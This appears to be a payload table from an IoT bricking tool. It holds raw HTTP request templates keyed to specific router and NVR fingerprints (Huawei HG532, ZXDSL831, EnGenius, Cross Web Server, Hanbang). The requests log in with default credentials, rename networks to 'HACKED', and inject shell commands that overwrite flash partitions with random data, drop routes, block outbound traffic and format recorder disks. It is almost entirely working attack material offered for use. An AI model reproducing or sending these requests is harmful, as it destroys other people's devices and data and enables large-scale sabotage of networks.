'POST /cgi-bin/webproc HTTP/1.1\r\nHost: %%TARGETIP%%\r\nReferer: http://%%TARGETIP%%/cgi-bin/webproc\r\nCookie: sessionid=%%CUSTOM1%%; language=en_us; sys_UserName=support\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\ngetpage=html%2Fwizard%2Fguidesecond.html&var%3Apage=*&obj-action=auth&%3Ausername=%%LOGIN%%&%3Apassword=%%PASSWORD%%&%3Aaction=login&%3Asessionid=%%CUSTOM1%%' ,
'GET /cgi-bin/webproc?getpage=html/wizard/guidesecond.html&var:language=en_us&var:page=* HTTP/1.1\r\nHost: %%TARGETIP%%\r\nReferer: http://%%TARGETIP%%/cgi-bin/webproc\r\nCookie: sessionid=%%CUSTOM1%%\r\n\r\n' ,
'POST /cgi-bin/webproc HTTP/1.1\r\nHost: %%TARGETIP%%\r\nReferer: http://%%TARGETIP%%/cgi-bin/webproc\r\nCookie: sessionid=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nobj-action=set&getpage=html%2Fwizard%2Fguidefourth.html&errorpage=html%2Fwizard%2Fguidesecond.html&var%3Apage=html%2Fwizard%2Fguidesecond.html&%3AInternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.Username=%%CUSTOM3%%' ,
'POST /cgi-bin/webproc HTTP/1.1\r\nHost: %%TARGETIP%%\r\nReferer: http://%%TARGETIP%%/cgi-bin/webproc?getpage=html/index.html&var:menu=maintenance&var:page=system\r\nCookie: sessionid=%%CUSTOM1%%; language=en_us; sys_UserName=TelefonicaUser\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nrestore=Restore+Default+Setting&obj-action=recover&var%3Anoredirect=1&var%3Amenu=maintenance&var%3Apage=system&var%3Aerrorpage=system&getpage=html%2Fpage%2Frestarting.html' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'hg532' , '(CACHE-CONTROL|Cache-Control): no-cache.*LoginTimes.*Cookieflag' ,
'POST /index/login.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: FirstMenu=Admin_0; SecondMenu=Admin_0_0; ThirdMenu=Admin_0_0_0; Language=en\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nUsername=admin&Password=OGM2OTc2ZTViNTQxMDQxNWJkZTkwOGJkNGRlZTE1ZGZiMTY3YTljODczZmM0YmI4YTgxZjZmMmFiNDQ4YTkxOA%3D%3D' ,
'POST /index/login.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: FirstMenu=Admin_0; SecondMenu=Admin_0_0; ThirdMenu=Admin_0_0_0; Language=en\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nUsername=instalador&Password=N2MwNGQxMzUzNzI1Y2ZkNzU4ZTFhYzNjM2JjZGRiMDkxNWNlNzA4OWU1NTlkODQ0Yjk2YTU4MjFmNTM1N2Y4Mg%3D%3D' ,
'POST /index/login.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: FirstMenu=Admin_0; SecondMenu=Admin_0_0; ThirdMenu=Admin_0_0_0; Language=en\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nUsername=instalador&Password=NjQzMGU0ZDBhMTMyYzI5Njg4NGUzMjNlOWJkMWM1MzJhODZmYmQ3OWJlYmUxN2U0Nzc1NDlmZjBkYjM0YzNiNA%3D%3D' ,
'POST /index/login.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: FirstMenu=Admin_0; SecondMenu=Admin_0_0; ThirdMenu=Admin_0_0_0; Language=en\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nUsername=admin&Password=YWRtaW4%3D' ,
'POST /html/ntwkall/setcfg.cgi?x=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1&y=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement&RequestFile=/html/ntwkall/dhcp.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: FirstMenu=Admin_1; SecondMenu=Admin_1_2; ThirdMenu=Admin_1_2_0; Language=en; SessionID_R3=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nx.IPInterfaceIPAddress=10.%%RAND8%%&x.IPInterfaceSubnetMask=255.255.255.0&y.MinAddress=10.%%COMP8%%&y.MaxAddress=10.%%COMP8%%&y.DNSServers=1.2.3.4%2C1.2.3.5&y.Enable=0&y.DHCPServerEnable=0' ,
'POST /html/ntwkall/setcfg.cgi?x=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1&y=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement&RequestFile=/html/ntwkall/dhcp.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: FirstMenu=Admin_1; SecondMenu=Admin_1_2; ThirdMenu=Admin_1_2_0; Language=en; SessionID_R3=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nx.IPInterfaceIPAddress=10.%%RAND8%%&x.IPInterfaceSubnetMask=255.255.255.0&y.MinAddress=10.%%COMP8%%&y.MaxAddress=10.%%COMP8%%&y.DNSServers=1.2.3.4%2C1.2.3.5&y.DHCPServerEnable=0' ,
'POST /index/login.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: FirstMenu=Admin_0; SecondMenu=Admin_0_0; ThirdMenu=Admin_0_0_0; Language=en SessionID_R3=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nUsername=%%LOGIN%%&Password=%%CUSTOM2%%' ,
'POST /html/ntwkall/setcfg.cgi?x=InternetGatewayDevice.LANDevice.1&y=InternetGatewayDevice.LANDevice.1.WLANConfiguration.1&k=InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.PreSharedKey.1&z=InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.WPS&RequestFile=/html/ntwkall/wlan.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: FirstMenu=Admin_1; SecondMenu=Admin_1_3; ThirdMenu=Admin_1_3_0; Language=en; SessionID_R3=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\ny.Standard=b%2Fg%2Fn&y.MaxBitRate=Auto&y.X_Wlan11NHtMcs=33&y.Enable=1&y.AutoChannelEnable=0&y.Channel=11&y.SSIDAdvertisementEnabled=1&y.X_WlanIsolateControl=0&y.WMMEnable=1&y.X_Wlan11NBWControl=20%2F40&y.X_Wlan11NGIControl=long&y.SSID=%%CUSTOM3%%HACKED&y.RegulatoryDomain=EC&y.X_AssociateDeviceNum=32&y.X_PowerValue=20&y.BeaconType=WPAand11i&z.Enable=1&z.X_WPSMode=ap-pbc&y.X_MixedEncryptionModes=AESEncryption&x.X_WLANEnable=1' ,
'POST /html/ntwkall/setcfg.cgi?x=InternetGatewayDevice.LANDevice.1&y=InternetGatewayDevice.LANDevice.1.WLANConfiguration.1&k=InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.PreSharedKey.1&z=InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.WPS&RequestFile=/html/ntwkall/wlan.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: FirstMenu=Admin_1; SecondMenu=Admin_1_4; ThirdMenu=Admin_1_4_0; Language=en; SessionID_R3=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\ny.Standard=b%2Fg%2Fn&y.Enable=1&y.AutoChannelEnable=1&y.Channel=6&y.MaxBitRate=Auto&y.SSIDAdvertisementEnabled=1&y.X_WlanIsolateControl=0&y.WMMEnable=1&y.X_Wlan11NBWControl=20%2F40&y.X_Wlan11NGIControl=long&y.SSID=%%CUSTOM3%%HACKED&y.RegulatoryDomain=RO&y.X_AssociateDeviceNum=32&y.X_PowerValue=20&y.BeaconType=WPA&z.Enable=1&z.X_WPSMode=ap-pbc&k.PreSharedKey=hackedmodem&y.WPAEncryptionModes=AESEncryption&x.X_WLANEnable=1' ,
'POST /html/ntwkall/setcfg.cgi?x=InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANDSLLinkConfig&y=InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANIPConnection.1&RequestFile=/html/ntwkall/wan.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: FirstMenu=Admin_1; SecondMenu=Admin_1_1; ThirdMenu=Admin_1_1_0; Language=en; SessionID_R3=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\ny.Enable=0&y.X_ServiceList=INTERNET_TR069&y.X_LanInterface=&y.ConnectionType=IP_Routed&y.NATEnabled=0&y.AddressingType=Static&y.ExternalIPAddress=10.%%COMP8%%&y.SubnetMask=255.255.255.0&y.DefaultGateway=10.%%RAND8%%&y.DNSServers=1.2.3.4%2C1.2.3.5&y.DNSEnabled=0&y.DNSOverrideAllowed=0&y.X_DHCPRelay=0&y.X_IPv4Enable=1&y.X_IPv6Enable=0&y.X_IPv6AddressingType=SLAAC&y.X_IPv6DefaultGateway=&y.X_IPv6Address=&y.X_IPv6PrefixLength=0&y.X_IPv6DNSEnabled=1&y.X_IPv6DNSOverrideAllowed=1&y.X_IPv6DNSServers=&y.MaxMTUSize=1500&y.X_TCP_MSS=0&x.DestinationAddress=PVC%3A0%2F35&x.ATMQoS=UBR&x.Enable=1&x.LinkType=EoA&x.ATMEncapsulation=LLC&x.X_VLANIDMark=-1&x.X_802-1pMark=-1' ,
'POST /html/ntwkall/setcfg.cgi?x=InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANDSLLinkConfig&y=InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1&RequestFile=/html/ntwkall/wan.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: FirstMenu=Admin_1; SecondMenu=Admin_1_1; ThirdMenu=Admin_1_1_0; Language=en; SessionID_R3=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\ny.Enable=0&y.X_ServiceList=INTERNET&y.X_LanInterface=&y.ConnectionType=PPPoE_Bridged&y.X_DHCPRelay=0&y.ConnectionTrigger=AlwaysOn&y.IdleDisconnectTime=0&y.RouteProtocolRx=Off&y.X_IPv6Enable=0&y.MaxMTUSize=1492&x.DestinationAddress=PVC%3A0%2F35&x.ATMQoS=UBR&x.Enable=1&x.LinkType=EoA&x.ATMEncapsulation=LLC&x.X_VLANIDMark=-1&x.X_802-1pMark=-1' ,
'POST /html/ntwkall/setcfg.cgi?x=InternetGatewayDevice.WANDevice.2.WANConnectionDevice.1.WANIPConnection.1&RequestFile=/html/ntwkall/wan.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: FirstMenu=Admin_1; SecondMenu=Admin_1_2; ThirdMenu=Admin_1_2_0; Language=en; SessionID_R3=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nx.Enable=0&x.X_ServiceList=INTERNET&x.X_LanInterface=&x.ConnectionType=IP_Bridged&x.X_DHCPRelay=0&x.RouteProtocolRx=Off' ,
'POST /html/management/excutecmd.cgi?cmd=`iptables%20-A%20OUTPUT%20-j%20DROP`&RequestFile=/html/management/diagnose.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: FirstMenu=Admin_3; SecondMenu=Admin_3_2; ThirdMenu=Admin_3_2_0; Language=en; SessionID_R3=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'hg532a' , 'util\.js.*LoginTimes.*Cookieflag' ,
'POST /login.cgi?Username=admin&Password=YWRtaW4=&Language=0&RequestFile=html/content.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: FirstMenu=Admin_0; SecondMenu=Admin_0_0; ThirdMenu=Admin_0_0_0; Language=en\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n' ,
'POST /html/network/setcfg.cgi?y=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement&x=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1&RequestFile=html/network/dhcp.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: LoginTimes=0:LoginOverTime=0; rememberme=0; Username=%%LOGIN%%; Password=%%PASSWORD%%; FirstMenu=Admin_1; SecondMenu=Admin_1_1; ThirdMenu=Admin_1_1_2; sessionID=%%CUSTOM1%%; Language=English\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nx.IPInterfaceIPAddress=10.%%RAND8%%&x.IPInterfaceSubnetMask=255.255.255.0&y.MinAddress=10.%COMP8%%&y.MaxAddress=10.%%COMP8%%&y.X_ATP_STB-MinAddress=0.0.0.0&y.X_ATP_STB-MaxAddress=0.0.0.0&y.X_ATP_STB-DHCPRelay=0&y.X_ATP_STB-DHCPOption60=&y.DNSServers=&y.DomainName=&y.UseAllocatedWAN=&y.AssociatedConnection=&y.PassthroughMACAddress=&y.DHCPLeaseTime=86400&y.DHCPServerEnable=1&y.X_ATP_DHCPRelayEnable=0&y.X_ATP_DHCPRelayLAN1=0&y.X_ATP_DHCPRelayLAN2=0&y.X_ATP_DHCPRelayLAN3=0&y.X_ATP_DHCPRelayLAN4=0&y.X_ATP_DHCPRelaySSID1=0&y.X_ATP_DHCPRelaySSID2=0&y.X_ATP_DHCPRelaySSID3=0&y.X_ATP_DHCPRelaySSID4=0' ,
'POST /html/network/setcfg.cgi?x=InternetGatewayDevice.LANDevice.1&y=InternetGatewayDevice.LANDevice.1.WLANConfiguration.1&k=InternetGatewayDevice.LANDevice.1.WLANConfiguration.1&RequestFile=html/network/wlan.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: LoginTimes=0:LoginOverTime=0; rememberme=0; Username=%%LOGIN%%; Password=%%PASSWORD%%; FirstMenu=Admin_1; SecondMenu=Admin_1_1; ThirdMenu=Admin_1_1_0; sessionID=%%CUSTOM1%%; Language=English\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\ny.Standard=b%2Fg%2Fn&y.MaxBitRate=Auto&y.X_ATP_11NHtMcs=33&y.Enable=1&y.Channel=0&y.X_ATP_SSIDHide=0&y.X_ATP_WlanQosControl=0&y.X_ATP_WlanAPISOControl=0&y.X_ATP_Wlan11NBWControl=20&y.X_ATP_Wlan11NGIControl=short&y.SSID=HACKED&y.RegulatoryDomain=EG&y.X_ATP_AssociateDeviceNum=126&y.X_ATP_PowerValue=10&y.BeaconType=WPAand11i&y.X_ATP_WPSControl=0&y.X_ATP_WPSMode=ap-pbc&k.PreSharedKey.1.PreSharedKey=13041963&y.WPAWPA2EncryptionModes=TKIPandAESEncryption&x.X_ATP_WLANEnable=1' ,
'GET /html/management/excutecmd.cgi?cmd=%60cat+/dev/urandom+%3E/dev/mtdblock0%60&RequestFile=html/management/diagnose.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: LoginTimes=0:LoginOverTime=0; rememberme=0; Username=%%LOGIN%%; Password=%%PASSWORD%%; FirstMenu=Admin_3; SecondMenu=Admin_3_2; ThirdMenu=Admin_3_2_0; sessionID=%%CUSTOM1%%; Language=English\r\n\r\n' ,
'GET /html/management/excutecmd.cgi?cmd=%60cat+/dev/urandom+%3E/dev/mtdblock3%60&RequestFile=html/management/diagnose.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: LoginTimes=0:LoginOverTime=0; rememberme=0; Username=%%LOGIN%%; Password=%%PASSWORD%%; FirstMenu=Admin_3; SecondMenu=Admin_3_2; ThirdMenu=Admin_3_2_0; sessionID=%%CUSTOM1%%; Language=English\r\n\r\n' ,
'GET /html/management/excutecmd.cgi?cmd=%60cat+/dev/urandom+%3E/dev/mtdblock1%60&RequestFile=html/management/diagnose.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: LoginTimes=0:LoginOverTime=0; rememberme=0; Username=%%LOGIN%%; Password=%%PASSWORD%%; FirstMenu=Admin_3; SecondMenu=Admin_3_2; ThirdMenu=Admin_3_2_0; sessionID=%%CUSTOM1%%; Language=English\r\n\r\n' ,
'GET /html/management/excutecmd.cgi?cmd=%60cat+/dev/urandom+%3E/dev/mtdblock2%60&RequestFile=html/management/diagnose.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: LoginTimes=0:LoginOverTime=0; rememberme=0; Username=%%LOGIN%%; Password=%%PASSWORD%%; FirstMenu=Admin_3; SecondMenu=Admin_3_2; ThirdMenu=Admin_3_2_0; sessionID=%%CUSTOM1%%; Language=English\r\n\r\n' ,
'GET /html/management/excutecmd.cgi?cmd=%60cat+/dev/urandom+%3E/dev/mtdblock4%60&RequestFile=html/management/diagnose.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: LoginTimes=0:LoginOverTime=0; rememberme=0; Username=%%LOGIN%%; Password=%%PASSWORD%%; FirstMenu=Admin_3; SecondMenu=Admin_3_2; ThirdMenu=Admin_3_2_0; sessionID=%%CUSTOM1%%; Language=English\r\n\r\n' ,
'GET /html/management/excutecmd.cgi?cmd=%60cat+/dev/urandom+%3E/dev/mtdblock5%60&RequestFile=html/management/diagnose.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: LoginTimes=0:LoginOverTime=0; rememberme=0; Username=%%LOGIN%%; Password=%%PASSWORD%%; FirstMenu=Admin_3; SecondMenu=Admin_3_2; ThirdMenu=Admin_3_2_0; sessionID=%%CUSTOM1%%; Language=English\r\n\r\n' ,
'GET /html/management/excutecmd.cgi?cmd=%60iptables+-A+OUTPUT+-j+DROP%60&RequestFile=html/management/diagnose.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: LoginTimes=0:LoginOverTime=0; rememberme=0; Username=%%LOGIN%%; Password=%%PASSWORD%%; FirstMenu=Admin_3; SecondMenu=Admin_3_2; ThirdMenu=Admin_3_2_0; sessionID=%%CUSTOM1%%; Language=English\r\n\r\n' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'zxdsl831' , 'microhttpd.*realm=DSL Router;' ,
'GET /connoppp.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'GET /connoppp.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'GET /ntwkprtcl.cgi?enblAutoScan=0&portId=0&atmVpi=0&atmVci=65533&enblQos=0&quickSetup=1&serviceId=1 HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'GET /ntwkprtcl.cgi?enblAutoScan=0&portId=0&atmVpi=0&atmVci=65533&enblQos=0&quickSetup=1&serviceId=1 HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'GET /wancfg.cgi?ntwkPrtcl=2&encapMode=1&enVlanMux=0&vlanMuxId=-1&serviceName=mer_0_65533 HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'GET /wancfg.cgi?ntwkPrtcl=2&encapMode=1&enVlanMux=0&vlanMuxId=-1&serviceName=mer_0_65533 HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'GET /lancfg.cgi?ntwkPrtcl=2&enblDhcpClnt=0&enblAuto=0&wanIpAddress=10.%%RAND8%%&wanSubnetMask=255.255.255.0&defaultGateway=10.%%COMP8%%&wanIfName=&dnsPrimary=1.1.2.2&dnsSecondary=1.1.3.3&dnsDynamic=0&serviceName=mer_0_65533&enblNat=0&enblUPnP=0&enblFirewall=1&enblQos=0 HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'GET /lancfg.cgi?ntwkPrtcl=2&enblDhcpClnt=0&enblAuto=0&wanIpAddress=10.%%RAND8%%&wanSubnetMask=255.255.255.0&defaultGateway=10.%%COMP8%%&wanIfName=&dnsPrimary=1.1.2.2&dnsSecondary=1.1.3.3&dnsDynamic=0&serviceName=mer_0_65533&enblNat=0&enblUPnP=0&enblFirewall=1&enblQos=0 HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'GET /ntwksum2.cgi?ethIpAddress=1.2.3.4&ethSubnetMask=255.255.255.248&enblLan2=1&lan2IpAddress=1.2.3.5&lan2SubnetMask=255.255.255.252&enblDhcpSrv=0 HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'GET /ntwksum2.cgi?ethIpAddress=1.2.3.4&ethSubnetMask=255.255.255.248&enblLan2=1&lan2IpAddress=1.2.3.5&lan2SubnetMask=255.255.255.252&enblDhcpSrv=0 HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'GET /rebootinfo.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'GET /rebootinfo.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'engenius' , 'lighttpd.*web\/jquery\.js.*getlanguagejs\.htm' ,
'POST /web/cgi-bin/usbinteract.cgi HTTP/1.1\r\nHost: %%TARGETIP%%:%%TARGETPORT%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\naction=7&path=\"|cat /dev/urandom >/dev/mtdblock6||\"' ,
'POST /web/cgi-bin/usbinteract.cgi HTTP/1.1\r\nHost: %%TARGETIP%%:%%TARGETPORT%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\naction=7&path=\"|cat /dev/urandom >/dev/mtdblock4||\"' ,
'POST /web/cgi-bin/usbinteract.cgi HTTP/1.1\r\nHost: %%TARGETIP%%:%%TARGETPORT%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\naction=7&path=\"|cat /dev/urandom >/dev/root||\"' ,
'POST /web/cgi-bin/usbinteract.cgi HTTP/1.1\r\nHost: %%TARGETIP%%:%%TARGETPORT%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\naction=7&path=\"|route del default||\"' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'crossweb' , 'Cross Web Server' ,
'GET /language/Swedish${IFS}&&mkdosfs${IFS}${HOME}dev${HOME}mtd0${IFS}9999${IFS}&>r&&tar${IFS}/string.js HTTP/1.0\r\n\r\n' ,
'GET /language/Swedish${IFS}&&mkdosfs${IFS}${HOME}dev${HOME}mtd1${IFS}9999${IFS}&>r&&tar${IFS}/string.js HTTP/1.0\r\n\r\n' ,
'GET /language/Swedish${IFS}&&mkdosfs${IFS}${HOME}dev${HOME}mtd2${IFS}9999${IFS}&>r&&tar${IFS}/string.js HTTP/1.0\r\n\r\n' ,
'GET /language/Swedish${IFS}&&mkdosfs${IFS}${HOME}dev${HOME}root${IFS}9999${IFS}&>r&&tar${IFS}/string.js HTTP/1.0\r\n\r\n' ,
'GET /language/Swedish${IFS}&&route${IFS}del${IFS}default&&tar${IFS}/string.js HTTP/1.0\r\n\r\n' ,
'GET /language/Swedish${IFS}&&reboot&&tar${IFS}/string.js HTTP/1.0\r\n\r\n' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'hanbang' , 'Server: NVR Webserver' ,
'PUT /ISAPI/Security/users/1 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nX-Requested-With: XMLHttpRequest\r\nAuthorization: Basic YWRtaW46ODg4ODg4\r\nCookie: updateTips=true; streamType=0; BufferLever=1; userInfo%%TARGETPORT%%=YWRtaW46ODg4ODg4; DevID=5; language=en; curpage=paramconfig.asp%254\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n<?xml version="1.0" encoding="UTF-8"?>\r\n<User><id>1</id><userName>admin</userName><password>admin</password><bondIpList><bondIp><id>1</id><ipAddress>0.0.0.0</ipAddress><ipv6Address>::</ipv6Address></bondIp></bondIpList><macAddress/><userLevel>administrator</userLevel><attribute><inherent>true</inherent></attribute></User>' ,
'GET /ISAPI/Security/userCheck HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46ODg4ODg4\r\nCookie: language=en; updateTips=true\r\n\r\n' ,
'GET /ISAPI/Security/userCheck HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nCookie: language=en; updateTips=true\r\n\r\n' ,
'GET /ISAPI/Security/userCheck HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46MTIzNDU2\r\nCookie: language=en; updateTips=true\r\n\r\n' ,
'GET /ISAPI/Security/userCheck HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46MDAwMDAw\r\nCookie: language=en; updateTips=true\r\n\r\n' ,
'GET /ISAPI/Security/userCheck HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46MTIzNDU2Nzg=\r\nCookie: language=en; updateTips=true\r\n\r\n' ,
'PUT /ISAPI/System/Video/inputs/channels/1 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%; DevID=5; curpage=paramconfig.asp%254\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n<?xml version="1.0" encoding="UTF-8"?>\r\n<ChannleName version="1.0" xmlns="http://www.isapi.org/ver20/XMLSchema"><name>HACKED</name></ChannleName>' ,
'PUT /ISAPI/System/Video/inputs/channels/2 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%; DevID=5; curpage=paramconfig.asp%254\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n<?xml version="1.0" encoding="UTF-8"?>\r\n<ChannleName version="1.0" xmlns="http://www.isapi.org/ver20/XMLSchema"><name>HACKED</name></ChannleName>' ,
'PUT /ISAPI/System/Video/inputs/channels/3 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%; DevID=5; curpage=paramconfig.asp%254\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n<?xml version="1.0" encoding="UTF-8"?>\r\n<ChannleName version="1.0" xmlns="http://www.isapi.org/ver20/XMLSchema"><name>HACKED</name></ChannleName>' ,
'PUT /ISAPI/System/Video/inputs/channels/4 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%; DevID=5; curpage=paramconfig.asp%254\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n<?xml version="1.0" encoding="UTF-8"?>\r\n<ChannleName version="1.0" xmlns="http://www.isapi.org/ver20/XMLSchema"><name>HACKED</name></ChannleName>' ,
'PUT /ISAPI/ContentMgmt/Storage/hdd/SATA1/format HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%; DevID=5; curpage=paramconfig.asp%254\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n' ,
'PUT /ISAPI/ContentMgmt/Storage/hdd/1 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%; DevID=5; curpage=paramconfig.asp%254\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n<?xml version="1.0" encoding="UTF-8"?><hdd><id>1</id><hddName>SATA</hddName><hddType>SATA</hddType><status>ok</status><capacity>953869</capacity><freeSpace>944128</freeSpace><property>RO</property></hdd>' ,
